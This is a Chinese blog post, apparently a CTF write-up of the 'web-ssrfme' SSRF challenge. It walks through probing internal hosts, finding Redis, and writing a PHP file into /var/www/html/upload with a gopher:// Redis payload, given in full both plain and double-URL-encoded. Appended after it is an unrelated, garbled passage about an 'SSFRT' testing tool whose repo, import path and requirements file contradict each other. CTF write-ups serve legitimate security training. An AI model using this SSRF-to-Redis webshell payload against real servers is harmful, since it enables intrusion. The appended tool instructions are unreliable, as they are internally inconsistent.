一道ssrf题目--Web-ssrfme

目录

环境搭建

代码分析

漏洞点寻找

渗透

使用工具构造payload

结果

​编辑 


环境搭建

使用docker拉取上面文件

root@ubuntu:~/web-ssrfme/web-ssrfme# docker-compose up -d

代码分析

首先进入题目环境,查看docker发现在8091端口下,进入后出现这么个页面

查看代码发现file和dict都被过滤了

我们再接着看代码发现如果存在info这个参数就会打印phpinfo,打印这个东西就可能会出现一些对我们有用的信息我们看一下这里有IP和中间件

漏洞点寻找

我们尝试用http访问以下phpinfo的IP,他将页面打印了两次,这里说明http协议可以使用,我们可以用http协议来探测端口

 然后我们用bp探测,发现没啥反应这个服务器好像没有啥子特别的服务,好像就开放了一个80端口

我们接着尝试,我们现在发现服务器的IP是172.21.0.3这个端口,这是在内网当中,在内网当中服务器可能会很多,并且服务器IP可能是连续的,我们可以尝试一下有没有别的服务器供我们入侵

在172.20.0.1有这么个显示

在172.20.0.2下有这么个显示

然后接着探测有什么服务,我们发现172.20.0.2的6379好像开着

渗透

我们可以传webshell到服务器上,但是这个需要我们知道物理路径,这道题目物理路径我们是不知道,需要我们猜测,我们尝试一些默认路径/var/www/html、 /usr/shart/nginx/html,发现都不行。现在我们怀疑是不是权限不够的原因,权限不够那咋个办,我们再找一下在html下有没有别的文件权限是够的。我们找个字典用bp扫描一下,发现有个upload

尝试在这个路径下 /var/www/html/upload使用gopher协议进行webshell写入

使用工具构造payload

我们这里使用gopherus这个工具来构造我们的payload

工具下载地址:GitHub - tarunkant/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various servers

我这里写入的是phpinfo,当然也可以写一句话木马,注意IP地址要修改

gopher://172.20.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2420%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

下面我们来看一下上面的注入语句解码后是什么东西,如下图是redis的一些写入语句

 然后我们在注入的时候还需要进行一次url编码,因为在源代码中解了两次码

gopher%3a%2f%2f172.20.0.2%3a6379%2f_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252425%250D%250A%250A%250A%253C%253Fphp%2520phpinfo%2528%2529%253B%2520%253F%253E%2f%2f%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A%2fvar%2fwww%2fhtml%2fupload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

我们打开环境看一下文件是否写进去了,确实写进来了,而且后面有一堆乱码,所以我们在写入注入语句的时候后面加了注释预防干扰

结果

然后将命令换一下就可以继续渗透了

 

  • 9
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SSRF (Server Side Request Forgery) 测试是一个用于检测服务器端请求伪造漏洞的工具,它是一种常见的安全测试技术。为了安装 SSFRT 这一工具,你可以按照以下步骤操作: ### 安装依赖 首先,确保你的系统已安装 Python 和 pip(Python 的包管理器)。在命令行界面输入: ```bash pip install -r requirements.txt ``` 如果你是使用基于 Debian 或者 Ubuntu 的 Linux 发行版,则需要先安装 `libffi-dev`、`libssl-dev`、`python-dev` 等库,可以通过运行以下命令完成: ```bash sudo apt-get update sudo apt-get install libffi-dev libssl-dev python-dev ``` 接着,在你的项目目录中创建一个名为 `requirements.txt` 的文件,并添加所需的依赖(通常包括 `requests` 库),然后再次使用 `pip` 来安装: ```txt # requirements.txt 文件内容示例 requests==2.26.0 pip install -r requirements.txt ``` ### 安装 SSFRT 工具 使用 Git 克隆 SSFRT 的仓库到本地: ```bash git clone https://github.com/ssertool/ssftrt.git cd ssftrt pip install . ``` 或者从 PyPI 直接安装(如果已发布): ```bash pip install ssftrt ``` ### 使用 SSFRT 一旦 SSFRT 成功安装,你可以在 Python 脚本中导入并使用它来进行 SSRF 测试。典型的用法如下: ```python from ssertool.ssftrt import SSFRT ssf = SSFRT() results = ssf.scan('http://example.com', {'param': 'http://target.example.com'}) print(results) ``` 在这个例子中,我们尝试通过 `http://example.com` 的 URL 发起请求,其中 `param` 参数指向了目标 URL `http://target.example.com`。 ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值